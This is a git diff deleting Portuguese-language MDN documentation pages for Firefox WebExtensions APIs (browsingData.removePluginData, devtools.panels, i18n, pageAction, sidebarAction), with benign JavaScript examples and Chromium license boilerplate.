-<p>If you need to update this content, edit <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities">https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities</a>, then shift-refresh this page to see your changes.</p>
-</div>
-
-<p>{{WebExtExamples("h2")}}</p>
-
-<div class="note"><strong>Acknowledgements</strong>
-
-<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/browsingData"><code>chrome.browsingData</code></a> API.</p>
-
-<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
-</div>
-
-<div class="hidden">
-<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without
-// modification, are permitted provided that the following conditions are
-// met:
-//
-// * Redistributions of source code must retain the above copyright
-// notice, this list of conditions and the following disclaimer.
-// * Redistributions in binary form must reproduce the above
-// copyright notice, this list of conditions and the following disclaimer
-// in the documentation and/or other materials provided with the
-// distribution.
-// * Neither the name of Google Inc. nor the names of its
-// contributors may be used to endorse or promote products derived from
-// this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-</pre>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/removeplugindata/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/removeplugindata/index.html
deleted file mode 100644
index e67f9b8c70..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/api/browsingdata/removeplugindata/index.html
+++ /dev/null
@@ -1,124 +0,0 @@
----
-title: browsingData.removePluginData()
-slug: Mozilla/Add-ons/WebExtensions/API/browsingData/removePluginData
-tags:
- - API
- - Dados de navegação
- - Extensões
- - Extensões da Web
- - Extras
- - Referencia
- - metodo
- - remover Dados do Plug-in
-translation_of: Mozilla/Add-ons/WebExtensions/API/browsingData/removePluginData
----
-<div>{{AddonSidebar()}}</div>
-
-<p>Limpa dados guardados nos plug-ins do navegador.</p>
-
-<p>Pode utilizar o parâmetro <code>removalOptions</code>, que é um objeto {{WebExtAPIRef("browsingData.RemovalOptions")}}, para:</p>
-
-<ul>
- <li>limpar apenas os dados do plug-in guardados depois de algum tempo</li>
- <li>controlar se deve limpar apenas os dados guardados pelos plug-ins em execução nas páginas da Web normais ou limpar os dados guardados pelos plug-ins em execução nas aplicações hospedadas e também nas extensões.</li>
-</ul>
-
-<p>Esta é uma função assíncrona que retorna um <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code>.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox brush:js">var removing = browser.browsingData.removePluginData(
- removalOptions // RemovalOptions object
-)
-</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>removalOptions</code></dt>
- <dd><code>object</code>. A {{WebExtAPIRef("browsingData.RemovalOptions")}} object, which may be used to clear only plugin data stored after a given time, and whether to clear only data stored by plugins running in normal web pages or to clear data stored by plugins running in hosted apps and extensions as well.</dd>
-</dl>
-
-<h3 id="Devolver_valor">Devolver valor</h3>
-
-<p>A <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a></code> that will be fulfilled with no arguments when the removal has finished. If any error occurs, the promise will be rejected with an error message.</p>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
-
-<p>{{Compat("webextensions.api.browsingData.removePluginData")}}</p>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Remove data stored by plugins in the last week:</p>
-
-<pre class="brush: js">function onRemoved() {
- console.log("removed");
-}
-
-function onError(error) {
- console.error(error);
-}
-
-function weekInMilliseconds() {
- return 1000 * 60 * 60 * 24 * 7;
-}
-
-var oneWeekAgo = (new Date()).getTime() - weekInMilliseconds();
-
-browser.browsingData.removePluginData({since: oneWeekAgo}).
-then(onRemoved, onError);</pre>
-
-<p>Remove all data stored by plugins:</p>
-
-<pre class="brush: js">function onRemoved() {
- console.log("removed");
-}
-
-function onError(error) {
- console.error(error);
-}
-
-browser.browsingData.removePluginData({}).
-then(onRemoved, onError);</pre>
-
-<p>{{WebExtExamples}}</p>
-
-<div class="note"><strong>Reconhecimentos</strong>
-
-<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/browsingData"><code>chrome.browsingData</code></a> API.</p>
-
-<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
-</div>
-
-<div class="hidden">
-<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without
-// modification, are permitted provided that the following conditions are
-// met:
-//
-// * Redistributions of source code must retain the above copyright
-// notice, this list of conditions and the following disclaimer.
-// * Redistributions in binary form must reproduce the above
-// copyright notice, this list of conditions and the following disclaimer
-// in the documentation and/or other materials provided with the
-// distribution.
-// * Neither the name of Google Inc. nor the names of its
-// contributors may be used to endorse or promote products derived from
-// this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-</pre>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/devtools/panels/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/devtools/panels/index.html
deleted file mode 100644
index 2d7cb8839d..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/api/devtools/panels/index.html
+++ /dev/null
@@ -1,104 +0,0 @@
----
-title: devtools.panels
-slug: Mozilla/Add-ons/WebExtensions/API/devtools/panels
-tags:
- - API
- - Extensões
- - Extensões da Web
- - Extras
- - Referencia
- - devtools.panels
-translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.panels
-original_slug: Mozilla/Add-ons/WebExtensions/API/devtools.panels
----
-<div>{{AddonSidebar}}</div>
-
-<div class="note">
-<p>Embora as APIs sejam baseadas no <a href="https://developer.chrome.com/extensions/devtools">Chrome devtools APIs</a>, ainda existem muitas funcionalidades que ainda não estão implementadas no Firefox, e por isso, não estão documentadas aqui. Para ver quais as funcionalidades que estão atualmente em falta, por favor, consulte <a href="/pt-PT/Add-ons/WebExtensions/Extensão_das_ferramentas_de_desenvolvimento#Limitações_das_APIs_de_devtools">Limitações das APIs de devtools</a>.</p>
-</div>
-
-<p>The <code>devtools.panels</code> API lets a devtools extension define its user interface inside the devtools window.</p>
-
-<p>The devtools window hosts a number of separate tools - the JavaScript Debugger, Network Monitor, and so on. A row of tabs across the top lets the user switch between the different tools. The window hosting each tool's user interface is called a "panel".</p>
-
-<p>With the <code>devtools.panels</code> API you can create new panels in the devtools window.</p>
-
-<p>Like all the <code>devtools</code> APIs, this API is only available to code running in the document defined in the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/devtools_page">devtools_page</a> manifest.json key, or in other devtools documents created by the extension (such as the panel's own document). See <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools">Extending the developer tools</a> for more.</p>
-
-<h2 id="Tipos">Tipos</h2>
-
-<dl>
- <dt><code><a href="/en-US/Add-ons/WebExtensions/API/devtools.panels/ElementsPanel">devtools.panels.ElementsPanel</a></code></dt>
- <dd>Represents the HTML/CSS inspector in the browser's devtools.</dd>
- <dt><code><a href="/en-US/Add-ons/WebExtensions/API/devtools.panels/ExtensionPanel">devtools.panels.ExtensionPanel</a></code></dt>
- <dd>Represents a devtools panel created by the extension.</dd>
- <dt><code><a href="/en-US/Add-ons/WebExtensions/API/devtools.panels/ExtensionSidebarPane">devtools.panels.ExtensionSidebarPane</a></code></dt>
- <dd>Represents a pane that an extension has added to the HTML/CSS inspector in the browser's devtools.</dd>
-</dl>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<dl>
- <dt><code><a href="/en-US/Add-ons/WebExtensions/API/devtools.panels/elements">devtools.panels.elements</a></code></dt>
- <dd>A reference to an <code><a href="/en-US/Add-ons/WebExtensions/API/devtools.panels/ElementsPanel">ElementsPanel</a></code> object.</dd>
- <dt><code><a href="/en-US/Add-ons/WebExtensions/API/devtools.panels/themeName">devtools.panels.themeName</a></code></dt>
- <dd>The name of the current devtools theme.</dd>
-</dl>
-
-<h2 id="Funções">Funções</h2>
-
-<dl>
- <dt><code><a href="/en-US/Add-ons/WebExtensions/API/devtools.panels/create">devtools.panels.create()</a></code></dt>
- <dd>Creates a new devtools panel.</dd>
-</dl>
-
-<h2 id="Eventos">Eventos</h2>
-
-<dl>
- <dt><code><a href="/en-US/Add-ons/WebExtensions/API/devtools.panels/onThemeChanged">devtools.panels.onThemeChanged</a></code></dt>
- <dd>Fired when the devtools theme changes.</dd>
-</dl>
-
-<h2 id="Compatibilidade_do_navegador">Compatibilidade do navegador</h2>
-
-<p>{{Compat("webextensions.api.devtools.panels", 2)}}</p>
-
-<p>{{WebExtExamples("h2")}}</p>
-
-<div class="note"><strong>Reconhecimentos</strong>
-
-<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/devtools_panels"><code>chrome.devtools.panels</code></a> API.</p>
-
-<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
-</div>
-
-<div class="hidden">
-<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without
-// modification, are permitted provided that the following conditions are
-// met:
-//
-// * Redistributions of source code must retain the above copyright
-// notice, this list of conditions and the following disclaimer.
-// * Redistributions in binary form must reproduce the above
-// copyright notice, this list of conditions and the following disclaimer
-// in the documentation and/or other materials provided with the
-// distribution.
-// * Neither the name of Google Inc. nor the names of its
-// contributors may be used to endorse or promote products derived from
-// this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-</pre>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/i18n/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/i18n/index.html
deleted file mode 100644
index 824e2eb308..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/api/i18n/index.html
+++ /dev/null
@@ -1,93 +0,0 @@
----
-title: i18n
-slug: Mozilla/Add-ons/WebExtensions/API/i18n
-tags:
- - API
- - Extensões
- - Extensões da Web
- - Extras
- - Não Padrão
- - Referencia
- - i18n
-translation_of: Mozilla/Add-ons/WebExtensions/API/i18n
----
-<div>{{AddonSidebar}}</div>
-
-<p>Funções para a internationalizar a sua extensão. Pode utilizar estas APIs para ter as suas <em>strings</em> traduzidas dos ficheiros de localização empacotados com a sua extensão, descubra o idioma atual do navegador e descubra o valor do seu <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Language_header">cabeçalho Accept-Language</a>.</p>
-
-<p id="See_also">Para mais detalhes em como utilizar i18n para sua extensão, consulte:</p>
-
-<ul>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Internationalization">Internationalization</a>: a guide to using the WebExtension i18n system.</li>
- <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/i18n/Locale-Specific_Message_reference">Locale-Specific Message reference</a>: extensions supply locale-specific strings in files called <code>messages.json</code>. This page describes the format of <code>messages.json</code>.</li>
-</ul>
-
-<h2 id="Tipos">Tipos</h2>
-
-<dl>
- <dt>{{WebExtAPIRef("i18n.LanguageCode")}}</dt>
- <dd>A <a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.10">language tag</a> such as <code>"en-US"</code> or "<code>fr</code>".</dd>
-</dl>
-
-<h2 id="Funções">Funções</h2>
-
-<dl>
- <dt>{{WebExtAPIRef("i18n.getAcceptLanguages()")}}</dt>
- <dd>Gets the <a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Accept-Language_header">accept-languages</a> of the browser. This is different from the locale used by the browser. To get the locale, use {{WebExtAPIRef('i18n.getUILanguage')}}.</dd>
- <dt>{{WebExtAPIRef("i18n.getMessage()")}}</dt>
- <dd>Gets the localized string for the specified message.</dd>
- <dt>{{WebExtAPIRef("i18n.getUILanguage()")}}</dt>
- <dd>Gets the UI language of the browser. This is different from {{WebExtAPIRef('i18n.getAcceptLanguages')}} which returns the preferred user languages.</dd>
- <dt>{{WebExtAPIRef("i18n.detectLanguage()")}}</dt>
- <dd>Detects the language of the provided text using the <a href="https://github.com/CLD2Owners/cld2">Compact Language Detector</a>.</dd>
-</dl>
-
-<dl>
-</dl>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>{{Compat("webextensions.api.i18n")}}</p>
-
-<p>{{WebExtExamples("h2")}}</p>
-
-<dl>
-</dl>
-
-<div class="note"><strong>Agradecimentos</strong>
-
-<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/i18n"><code>chrome.i18n</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/i18n.json"><code>i18n.json</code></a> in the Chromium code.</p>
-
-<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
-</div>
-
-<div class="hidden">
-<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without
-// modification, are permitted provided that the following conditions are
-// met:
-//
-// * Redistributions of source code must retain the above copyright
-// notice, this list of conditions and the following disclaimer.
-// * Redistributions in binary form must reproduce the above
-// copyright notice, this list of conditions and the following disclaimer
-// in the documentation and/or other materials provided with the
-// distribution.
-// * Neither the name of Google Inc. nor the names of its
-// contributors may be used to endorse or promote products derived from
-// this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-</pre>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/index.html
deleted file mode 100644
index 24e8c119a7..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/api/index.html
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: APIs de JavaScript
-slug: Mozilla/Add-ons/WebExtensions/API
-translation_of: Mozilla/Add-ons/WebExtensions/API
----
-<div>{{AddonSidebar}}</div>
-
-<div>{{SubpagesWithSummaries}}</div>
-
-<div class="note"><strong>Agradecimentos</strong>
-
-<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/pageaction/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/pageaction/index.html
deleted file mode 100644
index 1453336c6c..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/api/pageaction/index.html
+++ /dev/null
@@ -1,108 +0,0 @@
----
-title: Ação de página
-slug: Mozilla/Add-ons/WebExtensions/API/pageAction
-tags:
- - API
- - Ação de página
- - Extensões
- - Extensões da Web
- - Extras
- - Interface
- - Não Padrão
- - Referencia
-translation_of: Mozilla/Add-ons/WebExtensions/API/pageAction
----
-<div>{{AddonSidebar}}</div>
-
-<p>Uma <a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Acoes_pagina">ação de página</a> é ícone clicável dentro da barra de endereço do navegador.</p>
-
-<p> </p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/12960/page-action.png" style="display: block; height: 262px; margin-left: auto; margin-right: auto; width: 850px;"></p>
-
-<p>Pode ouvir cliques no ícone, ou especificar uma <a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Popups">janela (<em>popup</em>)</a> que será aberta quando o ícone for clicado.</p>
-
-<p>If you specify a popup, you can define its contents and behavior using HTML, CSS, and JavaScript, just like a normal web page. JavaScript running in the popup gets access to all the same WebExtension APIs as your background scripts.</p>
-
-<p>You can define most of a page action's properties declaratively using the <a href="/en-US/Add-ons/WebExtensions/manifest.json/page_action">page_action key</a> in your <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a>, but can also redefine them programmatically using this API.</p>
-
-<p>Page actions are for actions that are only relevant to particular pages. If your icon should always be available, use a <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_action">browser action</a> instead.</p>
-
-<h2 id="Tipos">Tipos</h2>
-
-<dl>
- <dt>{{WebExtAPIRef("pageAction.ImageDataType")}}</dt>
- <dd>Dados de píxel para uma imagem.</dd>
-</dl>
-
-<h2 id="Funções">Funções</h2>
-
-<dl>
- <dt>{{WebExtAPIRef("pageAction.show()")}}</dt>
- <dd>Shows the page action for a given tab.</dd>
- <dt>{{WebExtAPIRef("pageAction.hide()")}}</dt>
- <dd>Hides the page action for a given tab.</dd>
- <dt>{{WebExtAPIRef("pageAction.setTitle()")}}</dt>
- <dd>Sets the page action's title. This is displayed in a tooltip over the page action.</dd>
- <dt>{{WebExtAPIRef("pageAction.getTitle()")}}</dt>
- <dd>Gets the page action's title.</dd>
- <dt>{{WebExtAPIRef("pageAction.setIcon()")}}</dt>
- <dd>Sets the page action's icon.</dd>
- <dt>{{WebExtAPIRef("pageAction.setPopup()")}}</dt>
- <dd>Sets the URL for the page action's popup.</dd>
- <dt>{{WebExtAPIRef("pageAction.getPopup()")}}</dt>
- <dd>Gets the URL for the page action's popup.</dd>
- <dt>{{WebExtAPIRef("pageAction.openPopup()")}}</dt>
- <dd>Opens the page action's popup.</dd>
-</dl>
-
-<h2 id="Eventos">Eventos</h2>
-
-<dl>
- <dt>{{WebExtAPIRef("pageAction.onClicked")}}</dt>
- <dd>Fired when a page action icon is clicked. This event will not fire if the page action has a popup.</dd>
-</dl>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>{{Compat("webextensions.api.pageAction")}}</p>
-
-<p>{{WebExtExamples("h2")}}</p>
-
-<div class="note"><strong>Reconhecimentos</strong>
-
-<p>This API is based on Chromium's <a href="https://developer.chrome.com/extensions/pageAction"><code>chrome.pageAction</code></a> API. This documentation is derived from <a href="https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/page_action.json"><code>page_action.json</code></a> in the Chromium code.</p>
-
-<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
-</div>
-
-<div class="hidden">
-<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without
-// modification, are permitted provided that the following conditions are
-// met:
-//
-// * Redistributions of source code must retain the above copyright
-// notice, this list of conditions and the following disclaimer.
-// * Redistributions in binary form must reproduce the above
-// copyright notice, this list of conditions and the following disclaimer
-// in the documentation and/or other materials provided with the
-// distribution.
-// * Neither the name of Google Inc. nor the names of its
-// contributors may be used to endorse or promote products derived from
-// this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-</pre>
-</div>
diff --git a/files/pt-pt/mozilla/add-ons/webextensions/api/sidebaraction/index.html b/files/pt-pt/mozilla/add-ons/webextensions/api/sidebaraction/index.html
deleted file mode 100644
index beb8c1c54f..0000000000
--- a/files/pt-pt/mozilla/add-ons/webextensions/api/sidebaraction/index.html
+++ /dev/null
@@ -1,182 +0,0 @@
----
-title: sidebarAction
-slug: Mozilla/Add-ons/WebExtensions/API/sidebarAction
-tags:
- - API
- - Barra Lateral
- - Extensões
- - Extensões da Web
- - Não Padrão
- - Referencia
- - sidebarAction
-translation_of: Mozilla/Add-ons/WebExtensions/API/sidebarAction
----
-<div>{{AddonSidebar}}</div>
-
-<p>Obtém e define as propriedades da barra lateral de uma extensão.</p>
-
-<p>Uma <a href="/pt-PT/Add-ons/WebExtensions/interface_do_utilizador/Barras_laterais">barra lateral</a> é um painel que é exibido no lado esquerdo ou direito da janela do navegador, ao lado da página da <em>web</em>. O navegador fornece uma interface do utilizador que permite ao utilizador ver as barras laterais disponíveis no momento e selecionar uma barra lateral para exibir. Utilizando a chave de manifest.json <code><a href="/en-US/Add-ons/WebExtensions/manifest.json/sidebar_action">sidebar_action</a></code> , uma extensão pdoe definir a sua própria barra lateral. Utilizando a API <code>sidebarAction</code> descrita aqui, uma extension pode obter um conjunto de propriedades da barra lateral.</p>
-
-<p>A API <code>sidebarAction</code> é modelada de perto na API {{WebExtAPIRef("browserAction")}}.</p>
-
-<p>A API sidebarAction é baseada na API <a href="https://dev.opera.com/extensions/sidebar-action-api/">sidebarAction d</a>o Opera. Contudo, note que o seguinte ainda não é suportado: <code>setBadgeText()</code>, <code>getBadgeText()</code>, <code>setBadgeBackgroundColor()</code>, <code>getBadgeBackgroundColor()</code>, <code>onFocus</code>, <code>onBlur</code>.</p>
-
-<h2 id="Tipos">Tipos</h2>
-
-<dl>
- <dt>{{WebExtAPIRef("sidebarAction.ImageDataType")}}</dt>
- <dd>Dados de pixel para uma imagem. Deve ser um objeto  <code><a href="/en-US/docs/Web/API/ImageData">ImageData</a></code> (por exemplo, de um elemento {{htmlelement("canvas")}}).</dd>
-</dl>
-
-<h2 id="Funções">Funções</h2>
-
-<dl>
- <dt>{{WebExtAPIRef("sidebarAction.setPanel()")}}</dt>
- <dd>Define o painel da barra lateral.</dd>
- <dt>{{WebExtAPIRef("sidebarAction.getPanel()")}}</dt>
- <dd>Obtém o painel da barra lateral.</dd>
- <dt>{{WebExtAPIRef("sidebarAction.setTitle()")}}</dt>
- <dd>Definie o título da barra lateral. Isto será exibido em qualquer IU fornecida pelo navegador para listar as barras de ferrramentas, tal como um menu.</dd>
- <dt>{{WebExtAPIRef("sidebarAction.getTitle()")}}</dt>
- <dd>Obtém o título da barra lateral.</dd>
- <dt>{{WebExtAPIRef("sidebarAction.setIcon()")}}</dt>
- <dd>Define o ícone da barra lateral.</dd>
- <dt>{{WebExtAPIRef("sidebarAction.open()")}}</dt>
- <dd>Abre a abarra lateral.</dd>
- <dt>{{WebExtAPIRef("sidebarAction.close()")}}</dt>
- <dd>fecha a barra lateral.</dd>
- <dt>{{WebExtAPIRef("sidebarAction.isOpen()")}}</dt>
- <dd>Verifica sebarra lateral está ou não aberta.</dd>
-</dl>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>{{Compat("webextensions.api.sidebarAction")}}</p>
-
-<h2 id="Exemplo_de_extras_(add-ons)">Exemplo de extras (add-ons)</h2>
-
-<ul>
- <li><a class="external external-icon" href="https://github.com/mdn/webextensions-examples/tree/master/annotate-page">página de notas (annotate-page</a>)</li>
-</ul>
-
-<div class="note"><strong>Reconhecimentos</strong>
-
-<p>Esta API é baseada na API <a href="https://dev.opera.com/extensions/sidebar-action-api/"><code>chrome.sidebarAction</code></a> do Opera.</p>
-
-<p>Microsoft Edge compatibility data is supplied by Microsoft Corporation and is included here under the Creative Commons Attribution 3.0 United States License.</p>
-</div>
-
-<div class="hidden">
-<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without
-// modification, are permitted provided that the following conditions are
-// met:
-//
-// * Redistributions of source code must retain the above copyright
-// notice, this list of conditions and the following disclaimer.
-// * Redistributions in binary form must reproduce the above
-// copyright notice, this list of conditions and the following disclaimer
-// in the documentation and/or other materials provided with the
-// distribution.
-// * Neither the name of Google Inc. nor the names of its
-// contributors may be used to endorse or promote products derived from
-// this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-</pre>
-</div>
-
